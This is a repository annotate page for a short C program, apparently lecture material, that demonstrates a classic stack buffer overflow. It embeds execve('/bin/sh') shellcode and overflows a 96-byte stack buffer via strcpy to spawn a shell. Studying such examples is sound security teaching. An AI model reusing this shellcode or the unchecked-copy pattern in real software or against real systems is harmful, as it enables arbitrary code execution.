progs/C3.c
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Thu, 26 Nov 2015 11:59:38 +0000
changeset 436 8bf6704fc991
parent 400 f05368d007dd
child 476 cd82c24373cd
permissions -rw-r--r--
update
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
230
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     1
char shellcode[] =
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     2
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     3
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     4
  "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     5
  "\xff\xff/bin/sh";
400
f05368d007dd updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 230
diff changeset
     6
230
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     7
char large_string[128];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     8
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     9
void main() {
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    10
  char buffer[96];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    11
  int i;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    12
  long *long_ptr = (long *) large_string;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    13
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    14
  for (i = 0; i < 32; i++)
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    15
    *(long_ptr + i) = (int) buffer;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    16
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    17
  for (i = 0; i < strlen(shellcode); i++)
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    18
    large_string[i] = shellcode[i];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    19
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    20
  strcpy(buffer,large_string);
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    21
}